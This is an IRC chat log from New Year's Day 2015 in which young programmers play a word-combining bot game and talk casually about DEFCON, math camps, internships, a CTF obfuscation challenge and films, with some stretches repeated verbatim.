[2015-01-01T15:25:48-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T15:25:48-0500] <alchemy> That's 95 out of 136!
[2015-01-01T15:25:59-0500] <alokpathy> @combine ninja man
[2015-01-01T15:26:00-0500] <alchemy> ninja and man don't make anything exciting.
[2015-01-01T15:26:13-0500] <Tamini_> lol
[2015-01-01T15:26:18-0500] <Tamini_> evil sysadmins are ninjas eh
[2015-01-01T15:26:22-0500] <alokpathy> Truth.
[2015-01-01T15:26:22-0500] <Tamini_> so now for time
[2015-01-01T15:27:11-0500] <jwoglom> @combine sysadmin genius
[2015-01-01T15:27:12-0500] <alchemy> sysadmin and genius don't make anything exciting.
[2015-01-01T15:27:21-0500] <alokpathy> @combine ninja genius
[2015-01-01T15:27:23-0500] <alchemy> ninja and genius don't make anything exciting.
[2015-01-01T15:27:38-0500] <jwoglom> @combine sysadmin server
[2015-01-01T15:27:39-0500] <alchemy> sysadmin and server don't make anything exciting.
[2015-01-01T15:27:43-0500] <jwoglom> @combine sysadmin computer
[2015-01-01T15:27:43-0500] <alchemy> sysadmin and computer don't make anything exciting.
[2015-01-01T15:27:47-0500] <alokpathy> @combine sysadmin linux
[2015-01-01T15:27:48-0500] <alchemy> sysadmin and linux don't make anything exciting.
[2015-01-01T15:27:50-0500] <jwoglom> @combine earth computer
[2015-01-01T15:27:50-0500] <alchemy> earth and computer don't make anything exciting.
[2015-01-01T15:27:59-0500] <alokpathy> Hm, yeah, we should find time.
[2015-01-01T15:27:59-0500] <jwoglom> @combine math computer
[2015-01-01T15:28:00-0500] <alchemy> math and computer don't make anything exciting.
[2015-01-01T15:28:10-0500] <jwoglom> @combine server robot
[2015-01-01T15:28:10-0500] <alchemy> server and robot don't make anything exciting.
[2015-01-01T15:28:14-0500] <jwoglom> @combine computer robot
[2015-01-01T15:28:15-0500] <alchemy> computer and robot don't make anything exciting.
[2015-01-01T15:28:28-0500] <alokpathy> @combine engine energy
[2015-01-01T15:28:28-0500] <alchemy> engine and energy don't make anything exciting.
[2015-01-01T15:28:32-0500] <alokpathy> @combine engine sentience
[2015-01-01T15:28:32-0500] <alchemy> engine and sentience don't make anything exciting.
[2015-01-01T15:29:07-0500] <alokpathy> @combine ninja starship
[2015-01-01T15:29:08-0500] <alchemy> ninja and starship don't make anything exciting.
[2015-01-01T15:29:09-0500] <alokpathy> Aw
[2015-01-01T15:29:20-0500] <alokpathy> @combine ninja sword
[2015-01-01T15:29:21-0500] <alchemy> ninja and sword don't make anything exciting.
[2015-01-01T15:29:24-0500] <alokpathy> @lsit
[2015-01-01T15:29:26-0500] <alokpathy> @list
[2015-01-01T15:29:27-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T15:29:27-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T15:29:27-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T15:29:27-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T15:29:27-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T15:29:27-0500] <alchemy> That's 95 out of 136!
[2015-01-01T15:29:39-0500] <alokpathy> @combine ninja chivalry
[2015-01-01T15:29:40-0500] <alchemy> ninja and chivalry don't make anything exciting.
[2015-01-01T15:29:43-0500] <alokpathy> @combine ninja energy
[2015-01-01T15:29:44-0500] <alchemy> ninja and energy don't make anything exciting.
[2015-01-01T15:29:47-0500] <alokpathy> @combine ninja sentience
[2015-01-01T15:29:48-0500] <alchemy> ninja and sentience don't make anything exciting.
[2015-01-01T15:29:50-0500] <alokpathy> @combine ninja ninja
[2015-01-01T15:29:51-0500] <alchemy> ninja and ninja don't make anything exciting.
[2015-01-01T15:29:55-0500] <alokpathy> @combine sysadmin sysadmin
[2015-01-01T15:29:56-0500] <alchemy> sysadmin and sysadmin don't make anything exciting.
[2015-01-01T15:29:58-0500] <alokpathy> @combine server server
[2015-01-01T15:29:59-0500] <alchemy> server and server don't make anything exciting.
[2015-01-01T15:30:06-0500] <alokpathy> @combine xkcd xkcd
[2015-01-01T15:30:07-0500] <alchemy> xkcd and xkcd don't make anything exciting.
[2015-01-01T15:30:12-0500] <alokpathy> @combine love love
[2015-01-01T15:30:13-0500] <alchemy> love and love don't make anything exciting.
[2015-01-01T15:30:27-0500] <alokpathy> @possible god
[2015-01-01T15:30:28-0500] <alchemy> Yeah, you can make god.
[2015-01-01T15:30:58-0500] <alokpathy> @combine mountain science
[2015-01-01T15:30:59-0500] <alchemy> mountain and science don't make anything exciting.
[2015-01-01T15:31:01-0500] <alokpathy> @combine mountain snow
[2015-01-01T15:31:02-0500] <alchemy> mountain and snow don't make anything exciting.
[2015-01-01T15:31:06-0500] <alokpathy> @combine mountain ninja
[2015-01-01T15:31:07-0500] <alchemy> mountain and ninja don't make anything exciting.
[2015-01-01T15:31:14-0500] <alokpathy> @combine backstroke ocean
[2015-01-01T15:31:15-0500] <alchemy> backstroke and ocean don't make anything exciting.
[2015-01-01T15:31:27-0500] <alokpathy> @combine friendship alokmini
[2015-01-01T15:31:28-0500] <alchemy> friendship and alokmini don't make anything exciting.
[2015-01-01T15:31:32-0500] <alokpathy> @combine friendship aaron
[2015-01-01T15:31:33-0500] <alchemy> You already combined friendship and aaron to get pdgn.
[2015-01-01T15:31:40-0500] <alokpathy> @combine pdgn nexorg
[2015-01-01T15:31:41-0500] <alchemy> pdgn and nexorg don't make anything exciting.
[2015-01-01T15:31:44-0500] <alokpathy> @combine pdgn aaron
[2015-01-01T15:31:45-0500] <alchemy> pdgn and aaron don't make anything exciting.
[2015-01-01T15:31:47-0500] <alokpathy> @combine pdgn alok
[2015-01-01T15:31:47-0500] <alchemy> pdgn and alok don't make anything exciting.
[2015-01-01T15:31:49-0500] <alokpathy> @combine pdgn jacob
[2015-01-01T15:31:50-0500] <alchemy> pdgn and jacob don't make anything exciting.
[2015-01-01T15:31:52-0500] <alokpathy> @combine pdgn ashley
[2015-01-01T15:31:53-0500] <alchemy> pdgn and ashley don't make anything exciting.
[2015-01-01T15:31:54-0500] <alokpathy> @list
[2015-01-01T15:31:55-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T15:31:55-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T15:31:55-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T15:31:55-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T15:31:55-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T15:31:55-0500] <alchemy> That's 95 out of 136!
[2015-01-01T15:32:02-0500] <alokpathy> @combine sysadmin python
[2015-01-01T15:32:03-0500] <alchemy> sysadmin and python don't make anything exciting.
[2015-01-01T15:32:09-0500] <alokpathy> This game is hard.
[2015-01-01T15:44:22-0500] <nezorg> LittleBobbyTables: almost certainly!
[2015-01-01T15:48:38-0500] <jwoglom> @combine sysadmin love
[2015-01-01T15:48:39-0500] <alchemy> sysadmin and love don't make anything exciting.
[2015-01-01T15:48:43-0500] <jwoglom> @combine sysadmin robot
[2015-01-01T15:48:44-0500] <alchemy> sysadmin and robot don't make anything exciting.
[2015-01-01T15:48:48-0500] <jwoglom> @combine science sentience
[2015-01-01T15:48:49-0500] <alchemy> science and sentience don't make anything exciting.
[2015-01-01T15:49:37-0500] <alokpathy> @combine ninja love
[2015-01-01T15:49:38-0500] <alchemy> ninja and love don't make anything exciting.
[2015-01-01T15:49:41-0500] <alokpathy> @combine ninja friendship
[2015-01-01T15:49:42-0500] <alchemy> ninja and friendship don't make anything exciting.
[2015-01-01T15:53:41-0500] <Tamini_> this game is highly nontrivial
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[2015-01-01T15:56:03-0500] <alokpathy> I would say it's NP-C
[2015-01-01T15:56:09-0500] <alokpathy> except N^2 brute-force
[2015-01-01T16:01:46-0500] <+LittleBobbyTables> nezorg: See you there!
[2015-01-01T16:02:12-0500] <nezorg> in 8 months? :P
[2015-01-01T16:02:50-0500] <+LittleBobbyTables> Yeah
[2015-01-01T16:02:52-0500] <+LittleBobbyTables> lol
[2015-01-01T16:03:35-0500] <alokpathy> We should have a pdgn meetup at DEFCON.
[2015-01-01T16:05:58-0500] <Tamini_> alokpathy: take me to defcom
[2015-01-01T16:05:59-0500] <Tamini_> :(
[2015-01-01T16:06:08-0500] <alokpathy> I have to see if I can go first LOL
[2015-01-01T16:07:35-0500] <alokpathy> It's kind of on the other side of the country.
[2015-01-01T16:09:30-0500] <Tamini_> LOL
[2015-01-01T16:09:32-0500] <Tamini_> yeah but
[2015-01-01T16:09:38-0500] <Tamini_> if you get into college...
[2015-01-01T16:09:47-0500] <Tamini_> hardmath123: pls gib hint
[2015-01-01T16:10:11-0500] <alokpathy> Tamini_: Isn't DEFCON over the summer?
[2015-01-01T16:10:23-0500] <Tamini_> exactly
[2015-01-01T16:10:31-0500] <Tamini_> so "im in college i do what i want"
[2015-01-01T16:11:05-0500] <alokpathy> We'll see if that's how it works :P
[2015-01-01T16:38:11-0500] <ubuntor> really want to go to defcon, but location :/
[2015-01-01T16:39:59-0500] <ubuntor> why are (almost) all the good security cons in the west coast
[2015-01-01T16:45:02-0500] <+hardmath123> wow you guys got sysadmin
[2015-01-01T16:45:36-0500] <+hardmath123> also
[2015-01-01T16:45:39-0500] <+hardmath123> i just went to a bar
[2015-01-01T16:52:21-0500] <ubuntor> how was it?
[2015-01-01T16:53:01-0500] <+hardmath123> exciting.
[2015-01-01T17:19:40-0500] <Tamini_> hardmath123: time is haaard :<
[2015-01-01T17:19:48-0500] <Tamini_> also lol, why were you at a bar?
[2015-01-01T17:22:37-0500] <+hardmath123> i thought you meant feed it an essay in irc
[2015-01-01T17:22:43-0500] <+hardmath123> ^^ ignore that
[2015-01-01T17:22:50-0500] <+hardmath123> Tamini_: watching a football game.
[2015-01-01T17:22:55-0500] • hardmath123: 's nerd cred goes down.
[2015-01-01T17:23:26-0500] <Tamini_> ohhh
[2015-01-01T17:23:34-0500] <Tamini_> :P
[2015-01-01T17:23:39-0500] <+hardmath123> my dad dragged us there
[2015-01-01T17:23:40-0500] <Tamini_> street cred goes up
[2015-01-01T17:23:47-0500] <+hardmath123> but i have to admit
[2015-01-01T17:24:01-0500] <+hardmath123> it was almost pleasant, being a part of a huge group of people cheering for the same thing
[2015-01-01T17:24:11-0500] <+hardmath123> you never see that many people agreeing in nerd circles
[2015-01-01T17:24:15-0500] <+hardmath123> :P
[2015-01-01T17:24:41-0500] <Tamini_> lol
[2015-01-01T17:24:56-0500] • Tamini_: goes back to solving AIME
[2015-01-01T17:48:30-0500] <alokpathy> hardmath123: A lot of people agree that P != NP
[2015-01-01T17:50:06-0500] <+hardmath123> alokpathy: if it's a yes/no question, you're guaranteed to have at least 50% supporting one side. So I'm not counting that. :P
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[2015-01-01T17:52:58-0500] <Tamini_> lol
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[2015-01-01T17:54:48-0500] <+JacobEdelman> Hyper , nezorg, can I come to your party for people who don't have parties?
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[2015-01-01T18:10:00-0500] <Tamini_> lol
[2015-01-01T18:10:08-0500] <Tamini_> can we have an irc party? <3
[2015-01-01T18:10:26-0500] <Tamini_> hardmath123: what do you have against yes/no questions :<
[2015-01-01T18:12:20-0500] <@awe> [17:24:11]  <+hardmath123>	you never see that many people agreeing in nerd circles
[2015-01-01T18:12:24-0500] <+hardmath123> Tamini_: I have nothing against yes/no questions!
[2015-01-01T18:13:01-0500] <@awe> hardmath123: well, if everyone just listened to me and liked type systems, we'd have no issues.
[2015-01-01T18:13:57-0500] <+JacobEdelman> ... what did I miss?
[2015-01-01T18:14:00-0500] <+hardmath123> awe: but then irc would be so boring
[2015-01-01T18:14:06-0500] <@awe> lol
[2015-01-01T18:14:18-0500] <+hardmath123> awe: JacobEdelman: guess how you make "war" in alchemy?
[2015-01-01T18:14:24-0500] <+hardmath123> :)
[2015-01-01T18:14:26-0500] <@awe> @combine aaron jacob
[2015-01-01T18:14:27-0500] <alchemy> You just discovered war (aaron + jacob)!
[2015-01-01T18:14:31-0500] <+JacobEdelman> awe + jacob
[2015-01-01T18:14:35-0500] <+JacobEdelman> guessed it
[2015-01-01T18:14:35-0500] <+JacobEdelman> wow
[2015-01-01T18:14:37-0500] <+JacobEdelman> nice!
[2015-01-01T18:14:55-0500] <+JacobEdelman> (actually, there are two people who argue more than me and awe)
[2015-01-01T18:15:00-0500] <+JacobEdelman> (one of them is awe)
[2015-01-01T18:15:06-0500] <@awe> And the other is?
[2015-01-01T18:15:07-0500] <+JacobEdelman> (the other is another member of this irc)
[2015-01-01T18:15:20-0500] <@awe> ??
[2015-01-01T18:15:23-0500] <+JacobEdelman> (by argue more I mean, when they meet they tend to argue non stop)
[2015-01-01T18:15:28-0500] <+JacobEdelman> come on
[2015-01-01T18:15:34-0500] <+JacobEdelman> think about it
[2015-01-01T18:15:39-0500] <@awe> I don't know anyone here that I argue with more than you, JacobEdelman.
[2015-01-01T18:15:45-0500] <+JacobEdelman> yes
[2015-01-01T18:15:48-0500] <+JacobEdelman> Ezra Edelman
[2015-01-01T18:15:51-0500] <+JacobEdelman> :P
[2015-01-01T18:15:55-0500] <@awe> Eh.
[2015-01-01T18:15:59-0500] <+JacobEdelman> last time you two met
[2015-01-01T18:15:59-0500] <@awe> I mean, Ezra argues with me intentionally.
[2015-01-01T18:16:05-0500] <+hardmath123> (JacobEdelman: you're losing this by arguing with awe.)
[2015-01-01T18:16:06-0500] <+JacobEdelman> nah
[2015-01-01T18:16:13-0500] <+JacobEdelman> lolol
[2015-01-01T18:16:17-0500] <@awe> I don't believe Ezra actually believes any of the things he argues with me about.
[2015-01-01T18:16:21-0500] <+JacobEdelman> he does
[2015-01-01T18:16:25-0500] <+JacobEdelman> thats why its funny
[2015-01-01T18:16:29-0500] <@awe> O lawd.
[2015-01-01T18:16:56-0500] <+JacobEdelman> awe: you once told me you thought that people should be allowed to have strobe lights on their cars
[2015-01-01T18:17:07-0500] <+JacobEdelman> awe: only later you said that you didnt actually believe that
[2015-01-01T18:17:13-0500] <+JacobEdelman> awe: you and ezra are very similar
[2015-01-01T18:17:19-0500] <+JacobEdelman> checkmate, I win this argument
[2015-01-01T18:17:20-0500] <+JacobEdelman> game over
[2015-01-01T18:18:26-0500] <@awe> What?
[2015-01-01T18:18:35-0500] <@awe> I'm confused.
[2015-01-01T18:18:45-0500] <+JacobEdelman> about what?
[2015-01-01T18:19:49-0500] <+JacobEdelman> also, the imitation game is good
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[2015-01-01T18:20:48-0500] <@awe> I don't understand what you were saying at all.
[2015-01-01T18:21:50-0500] <The_Master> @list
[2015-01-01T18:21:50-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T18:21:50-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T18:21:50-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T18:21:50-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T18:21:50-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T18:21:50-0500] <alchemy> That's 96 out of 136!
[2015-01-01T18:25:48-0500] <nezorg> [14:50] (+hardmath123) alokpathy: if it's a yes/no question, you're guaranteed to have at least 50% supporting one side. So I'm not counting that. :P
[2015-01-01T18:25:57-0500] <nezorg> not with floating point math!
[2015-01-01T18:26:05-0500] <nezorg> [14:54] (+JacobEdelman) Hyper , nezorg, can I come to your party for people who don't have parties?
[2015-01-01T18:26:09-0500] <nezorg> sure! :P
[2015-01-01T18:26:23-0500] <+JacobEdelman> yeah!
[2015-01-01T18:26:35-0500] <+JacobEdelman> awe: nobody does
[2015-01-01T18:26:46-0500] <+JacobEdelman> nezorg: ... my place?
[2015-01-01T18:26:48-0500] <+JacobEdelman> :P
[2015-01-01T18:27:08-0500] <nezorg> where is your place
[2015-01-01T18:36:05-0500] <+JacobEdelman> NJ
[2015-01-01T18:36:07-0500] <+JacobEdelman> near princeton
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[2015-01-01T18:20:48-0500] <@awe> I don't understand what you were saying at all.
[2015-01-01T18:21:50-0500] <The_Master> @list
[2015-01-01T18:21:50-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T18:21:50-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T18:21:50-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T18:21:50-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T18:21:50-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T18:21:50-0500] <alchemy> That's 96 out of 136!
[2015-01-01T18:25:48-0500] <nezorg> [14:50] (+hardmath123) alokpathy: if it's a yes/no question, you're guaranteed to have at least 50% supporting one side. So I'm not counting that. :P
[2015-01-01T18:25:57-0500] <nezorg> not with floating point math!
[2015-01-01T18:26:05-0500] <nezorg> [14:54] (+JacobEdelman) Hyper , nezorg, can I come to your party for people who don't have parties?
[2015-01-01T18:26:09-0500] <nezorg> sure! :P
[2015-01-01T18:26:23-0500] <+JacobEdelman> yeah!
[2015-01-01T18:26:35-0500] <+JacobEdelman> awe: nobody does
[2015-01-01T18:26:46-0500] <+JacobEdelman> nezorg: ... my place?
[2015-01-01T18:26:48-0500] <+JacobEdelman> :P
[2015-01-01T18:27:08-0500] <nezorg> where is your place
[2015-01-01T18:36:04-0500] <+JacobEdelman> NJ
[2015-01-01T18:36:07-0500] <+JacobEdelman> near princeton
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[2015-01-01T19:00:21-0500] <Tamini_> lol
[2015-01-01T19:00:26-0500] <Tamini_> JacobEdelman: invite meeee
[2015-01-01T19:00:28-0500] <Tamini_> <3
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[2015-01-01T18:20:48-0500] <@awe> I don't understand what you were saying at all.
[2015-01-01T18:21:50-0500] <The_Master> @list
[2015-01-01T18:21:50-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T18:21:50-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-01T18:21:50-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin, plant
[2015-01-01T18:21:50-0500] <alchemy> You have: pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone
[2015-01-01T18:21:50-0500] <alchemy> You have: sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-01T18:21:50-0500] <alchemy> That's 96 out of 136!
[2015-01-01T18:25:48-0500] <nezorg> [14:50] (+hardmath123) alokpathy: if it's a yes/no question, you're guaranteed to have at least 50% supporting one side. So I'm not counting that. :P
[2015-01-01T18:25:57-0500] <nezorg> not with floating point math!
[2015-01-01T18:26:05-0500] <nezorg> [14:54] (+JacobEdelman) Hyper , nezorg, can I come to your party for people who don't have parties?
[2015-01-01T18:26:09-0500] <nezorg> sure! :P
[2015-01-01T18:26:23-0500] <+JacobEdelman> yeah!
[2015-01-01T18:26:35-0500] <+JacobEdelman> awe: nobody does
[2015-01-01T18:26:46-0500] <+JacobEdelman> nezorg: ... my place?
[2015-01-01T18:26:48-0500] <+JacobEdelman> :P
[2015-01-01T18:27:08-0500] <nezorg> where is your place
[2015-01-01T18:36:04-0500] <+JacobEdelman> NJ
[2015-01-01T18:36:07-0500] <+JacobEdelman> near princeton
[2015-01-01T19:00:21-0500] <Tamini_> lol
[2015-01-01T19:00:26-0500] <Tamini_> JacobEdelman: invite meeee
[2015-01-01T19:00:28-0500] <Tamini_> <3
[2015-01-01T19:09:02-0500] Mode is +ns
[2015-01-01T19:18:54-0500] <The_Master> Tamini_: JacobEdelman says you are not invited
[2015-01-01T19:19:09-0500] <Tamini_> :(
[2015-01-01T19:19:17-0500] <Tamini_> tell jacob we can no longer be friends
[2015-01-01T19:19:53-0500] <The_Master> JacobEdelman says not to trust anything he says.
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[2015-01-01T19:31:03-0500] <@awe> @tell JacobEdelman Tamini has revoked your friendship.
[2015-01-01T19:31:03-0500] <mailbot> awe: I'll let them know!
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[2015-01-01T19:40:05-0500] <Tamini_> lol
[2015-01-01T19:40:08-0500] <Tamini_> JacobEdelman:
[2015-01-01T19:40:13-0500] <Tamini_> you mean
[2015-01-01T19:40:25-0500] <+JacobEdelman> I'm back
[2015-01-01T19:40:25-0500] <mailbot> JacobEdelman: 9 minutes ago, awe said Tamini has revoked your friendship.
[2015-01-01T19:40:37-0500] <+hardmath123> wow much harsh
[2015-01-01T19:40:38-0500] <+JacobEdelman> you went to a party
[2015-01-01T19:40:43-0500] <+JacobEdelman> this party is specificaly for people
[2015-01-01T19:40:45-0500] <+JacobEdelman> who do not
[2015-01-01T19:40:47-0500] <+JacobEdelman> go to parties
[2015-01-01T19:40:50-0500] <+JacobEdelman> or get invited to them
[2015-01-01T19:49:20-0500] <+hardmath123> i just taught my 5-yo sister to play chopsticks on the piano. that was fun.
[2015-01-01T20:02:50-0500] <+JacobEdelman> hmmm.... 
[2015-01-01T20:03:42-0500] <+JacobEdelman> hardmath123: you should probaly apply to PACT soonish if you are going to apply
[2015-01-01T20:04:00-0500] <+hardmath123> Noted.
[2015-01-01T20:04:05-0500] <+JacobEdelman> (I think)
[2015-01-01T20:04:09-0500] <+JacobEdelman> (I'm not entirely sure)
[2015-01-01T20:16:07-0500] <+JacobEdelman> so
[2015-01-01T20:16:14-0500] <+JacobEdelman> we have a lot of people here now
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[2015-01-01T20:18:17-0500] <failedxyz> hei
[2015-01-01T20:20:08-0500] <+JacobEdelman> hello
[2015-01-01T20:20:10-0500] <+JacobEdelman> long time no see
[2015-01-01T20:20:14-0500] <+JacobEdelman> whats new?
[2015-01-01T20:20:41-0500] <+hardmath123> failedxyz: i added you to backtick :D
[2015-01-01T20:20:53-0500] <failedxyz> lol thanks :)
[2015-01-01T20:21:03-0500] <+hardmath123> also i meant to ask
[2015-01-01T20:21:09-0500] <failedxyz> i basically spent all break playing osu
[2015-01-01T20:21:54-0500] <+hardmath123> where did you get the obfuscator for the obfuscated js thingy in easyctf? because it used to be a chrome extension and then it got taken down and i haven't been find that breed of obfuscator before.
[2015-01-01T20:22:26-0500] <failedxyz> uhhh i didn't write obfuscation lol austin wrote that
[2015-01-01T20:22:29-0500] <failedxyz> but it's not an extension
[2015-01-01T20:22:30-0500] <failedxyz> i think
[2015-01-01T20:23:03-0500] <+hardmath123> hmm it was called "Good and evil JavaScript" and the obfuscate button was an angel and he deobfuscate button was a devil. or something like that.
[2015-01-01T20:23:26-0500] <+hardmath123> and the whole thing was like insanely blue because the cretor had no sense of color scheme/UI.
[2015-01-01T20:24:20-0500] <failedxyz> wait but i remember carter showed me an online obfuscator that does the weird thing with $ and the _
[2015-01-01T20:24:24-0500] <failedxyz> just like in obfuscated
[2015-01-01T20:24:36-0500] <failedxyz> in fact, austin said he got the idea for obfuscation from carter lol
[2015-01-01T20:30:09-0500] <+JacobEdelman> failedxyz: I think LittleBobbyTables is good at osu
[2015-01-01T20:31:44-0500] <failedxyz> really
[2015-01-01T20:33:41-0500] <failedxyz> carter posted this challenge in our cs club group -_- http://pastebin.com/raw.php?i=5VjNFbTq
[2015-01-01T20:34:52-0500] <+JacobEdelman> thats ugly
[2015-01-01T20:41:22-0500] <Tamini_> hardmath123: also applying to math camp
[2015-01-01T20:41:27-0500] <Tamini_> A++ idea
[2015-01-01T20:43:59-0500] <+hardmath123> failedxyz: that's just the js thing with csclub instead of $. -_-
[2015-01-01T20:44:06-0500] <failedxyz> yeah
[2015-01-01T20:44:09-0500] <+hardmath123> Tamini_: i'm going to apply to ROSS, most likely.
[2015-01-01T20:44:41-0500] <Tamini_> <3
[2015-01-01T20:47:32-0500] <+JacobEdelman> ROSS?
[2015-01-01T20:48:20-0500] <+hardmath123> http://u.osu.edu/rossmath/
[2015-01-01T20:48:27-0500] <+hardmath123> ha, it's on `osu.edu`
[2015-01-01T20:48:31-0500] <+hardmath123> :D
[2015-01-01T20:48:59-0500] <failedxyz> lol
[2015-01-01T20:49:17-0500] <Tamini_> lol
[2015-01-01T20:49:49-0500] <failedxyz> osu is great
[2015-01-01T20:50:31-0500] <+hardmath123> Tamini_: i sort of really really want to intern at matasano though
[2015-01-01T20:51:25-0500] <Tamini_> hardmath123: they said no hs tho
[2015-01-01T20:51:33-0500] <+hardmath123> :(
[2015-01-01T20:52:29-0500] <Tamini_> ^
[2015-01-01T20:52:29-0500] <+hardmath123> probably still worth sending them an email?
[2015-01-01T20:52:36-0500] <Tamini_> yea
[2015-01-01T20:55:01-0500] <nezorg> yahoo seems interesting
[2015-01-01T20:55:11-0500] <nezorg> maybe facebook
[2015-01-01T20:55:24-0500] <+hardmath123> facebook won't take me, because i hate them.
[2015-01-01T20:55:25-0500] <+hardmath123> :P
[2015-01-01T20:55:54-0500] <nezorg> I hate them too, but that doesn't mean they wouldn't let me intern there :P
[2015-01-01T20:56:17-0500] <failedxyz> lol
[2015-01-01T20:56:20-0500] <+hardmath123> well i'd have to learn what facebook does (because I still don't actually know)
[2015-01-01T20:56:23-0500] <failedxyz> facebook = ajax
[2015-01-01T20:56:36-0500] <failedxyz> = kill my computer
[2015-01-01T20:56:52-0500] <nezorg> facebook = privacy murderers
[2015-01-01T20:57:10-0500] <failedxyz> 1.8GB of memory on my computer
[2015-01-01T20:57:13-0500] <failedxyz> just the website
[2015-01-01T20:57:23-0500] <nezorg> ...wat
[2015-01-01T20:57:33-0500] <failedxyz> lol i got jaymo addicted to osu
[2015-01-01T20:57:56-0500] <Tamini_> lolol
[2015-01-01T20:58:07-0500] <Tamini_> oh what did you do to poor jmo
[2015-01-01T21:32:39-0500] <alokpathy> I just finished Interstellar
[2015-01-01T21:38:45-0500] <failedxyz> what is that
[2015-01-01T21:39:13-0500] <alokpathy> The movie
[2015-01-01T21:39:37-0500] <failedxyz> oh
[2015-01-01T21:43:16-0500] <Tamini_> wasnt it gooood
[2015-01-01T21:43:17-0500] <Tamini_> <3
[2015-01-01T21:45:14-0500] <ubuntor> nice
[2015-01-01T21:46:26-0500] <jwoglom> interstellar is pretty awesome
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[2015-01-01T22:02:41-0500] <@awe> You know what's funny?
[2015-01-01T22:02:46-0500] <@awe> I have really negative associations with Microsoft.
[2015-01-01T22:02:51-0500] <@awe> Unless you pin Research on the end.
[2015-01-01T22:02:56-0500] <@awe> And then suddenly I'm interested.
[2015-01-01T22:14:52-0500] <+LittleBobbyTables> JacobEdelman: best osu player 2014
[2015-01-01T22:26:17-0500] <alokpathy> Tamini_: ubuntor jwoglom Yes very
[2015-01-01T22:26:32-0500] <Tamini_> <3
[2015-01-01T22:26:33-0500] <alokpathy> awe: Weren't a lot of people laid off from there?
[2015-01-01T22:26:36-0500] <Tamini_> mind blownn
[2015-01-01T22:26:45-0500] <alokpathy> Tamini_: It was so good 
[2015-01-01T22:27:02-0500] <jwoglom> alokpathy: indeed
[2015-01-01T22:27:13-0500] <@awe> alokpathy: probably
[2015-01-01T22:27:25-0500] <@awe> alokpathy: but it's actually one of a few places I'd really like to work.
[2015-01-01T22:27:33-0500] <@awe> alokpathy: or at least, that I suspect I'd really like to work
[2015-01-01T22:27:50-0500] <alokpathy> awe: Ah, cool.
[2015-01-01T22:28:21-0500] <alokpathy> awe: Though, I do recall they laid off a lot of people at some point, including a Turing-award winner.
[2015-01-01T22:29:39-0500] <alokpathy> awe: They're pretty cool though.
